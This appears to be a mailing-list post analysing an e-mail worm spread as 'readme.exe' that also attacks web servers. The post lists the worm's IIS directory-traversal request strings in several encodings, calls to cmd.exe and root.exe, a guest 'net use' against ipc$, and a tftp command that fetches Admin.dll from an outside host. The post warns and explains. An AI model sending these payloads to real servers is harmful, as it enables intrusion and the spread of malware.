    	Here's what I've been able to determine thus far:
    
    	There is an e-mail worm propagating right now that comes with the
    payload 'readme.exe'.  I suspect this e-mail worm preys on Outlook MUAs,
    but I have no confirmation of this since the e-mails I've received have
    been bounces.  (Whoever released one iteration of this worm has the "From"
    address as 'staffat_private'.)
    
    	This payload does a load of things to assure its propagation.
    However, it differs from other email-based worms in that it also launches
    a number of web-based attacks.  Namely:
    
    /scripts
    /MSADC
    /scripts/..%255c..
    /_vti_bin/..%255c../..%255c../..%255c..
    /_mem_bin/..%255c../..%255c../..%255c..
    /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
    /scripts/..%c1%1c..
    /scripts/..%c0%2f..
    /scripts/..%c0%af..
    /scripts/..%c1%9c..
    /scripts/..%%35%63..
    /scripts/..%%35c..
    /scripts/..%25%35%63..
    /scripts/..%252f..
    /root.exe?/c+
    /winnt/system32/cmd.exe?/c+
    net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
    tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
    
    	As can be seen above, it also attempts to make a tftp retrieval
    for Admin.dll.
    
    	*sigh*  Yet another worm made possible by the insecurity of
    Microsoft.
